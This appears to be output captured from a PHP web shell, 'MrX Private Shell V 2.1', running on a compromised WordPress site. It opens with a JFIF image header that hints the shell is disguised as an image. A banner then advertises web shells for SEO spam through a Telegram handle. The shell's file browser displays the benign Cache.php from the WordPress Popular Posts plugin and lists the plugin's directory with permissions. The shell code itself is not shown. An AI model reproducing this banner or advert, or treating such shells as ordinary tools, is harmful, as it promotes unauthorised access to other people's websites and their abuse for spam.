����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Helper class to store data in cache for a fixed amount of time.
*
* @link https://cabrerahector.com
* @since 4.1.2
*
* @package WordPressPopularPosts
* @subpackage WordPressPopularPosts/includes
*/
/**
* Helper class to store data in cache for a fixed amount of time.
*
* Stores data in cache via WordPress Transients (or any other available
* method in the future) for a fixed amount of time to reduce the number
* of database calls.
*
* @package WordPressPopularPosts
* @subpackage WordPressPopularPosts/includes
* @author Hector Cabrera <me@cabrerahector.com>
*/
namespace WordPressPopularPosts;
class Cache {
/**
* Retrieves cached data.
*
* @since 4.1.2
* @access public
* @param string $key The name of the cached data.
* @return mixed
*/
public static function get(string $key)
{
return get_transient($key);
}
/**
* Retrieves cached data.
*
* @since 4.1.2
* @access public
* @param string $key The name of the cached data.
* @param mixed $data The data being stored.
*/
public static function set(string $key = null, $data = [], int $time_value = 1, string $time_unit = 'minute') /** @TODO: starting PHP 8.0 $data can be declared as mixed $data */
{
if ( ! $key ) {
return false;
}
if (
false === filter_var($time_value, FILTER_VALIDATE_INT)
|| $time_value <= 0
) {
$time_value = 1;
}
switch( $time_unit ){
case 'minute':
$time = 60;
break;
case 'hour':
$time = 60 * 60;
break;
case 'day':
$time = 60 * 60 * 24;
break;
case 'week':
$time = 60 * 60 * 24 * 7;
break;
case 'month':
$time = 60 * 60 * 24 * 30;
break;
case 'year':
$time = 60 * 60 * 24 * 365;
break;
default:
$time = 60;
break;
}
$expiration = $time * $time_value;
// Store transient
set_transient($key, $data, $expiration);
// Store transient keys in WPP's transients table for garbage collection
global $wpdb;
$now = Helper::now();
$transients_table = "{$wpdb->prefix}popularpoststransients";
//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
$wpdb->query(
$wpdb->prepare(
"INSERT INTO %i (tkey, tkey_date) VALUES (%s, %s) ON DUPLICATE KEY UPDATE tkey_date = %s;",
[
$transients_table,
$key,
$now,
$now
]
)
);
//phpcs:disable
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Activation | Folder | 0755 |
|
|
| Admin | Folder | 0755 |
|
|
| Block | Folder | 0755 |
|
|
| Compatibility | Folder | 0755 |
|
|
| Container | Folder | 0755 |
|
|
| Front | Folder | 0755 |
|
|
| Rest | Folder | 0755 |
|
|
| Shortcode | Folder | 0755 |
|
|
| Traits | Folder | 0755 |
|
|
| Widget | Folder | 0755 |
|
|
| Bootstrap.php | File | 752 B | 0644 |
|
| Cache.php | File | 3.08 KB | 0644 |
|
| Helper.php | File | 10.93 KB | 0644 |
|
| I18N.php | File | 1.23 KB | 0644 |
|
| Image.php | File | 33.92 KB | 0644 |
|
| Output.php | File | 41.5 KB | 0644 |
|
| Query.php | File | 24.46 KB | 0644 |
|
| Settings.php | File | 4.9 KB | 0644 |
|
| Themer.php | File | 4.47 KB | 0644 |
|
| Translate.php | File | 4.18 KB | 0644 |
|
| Upgrader.php | File | 6.57 KB | 0644 |
|
| WordPressPopularPosts.php | File | 2.62 KB | 0644 |
|
| deprecated.php | File | 79 B | 0644 |
|
| template-tags.php | File | 9.84 KB | 0644 |
|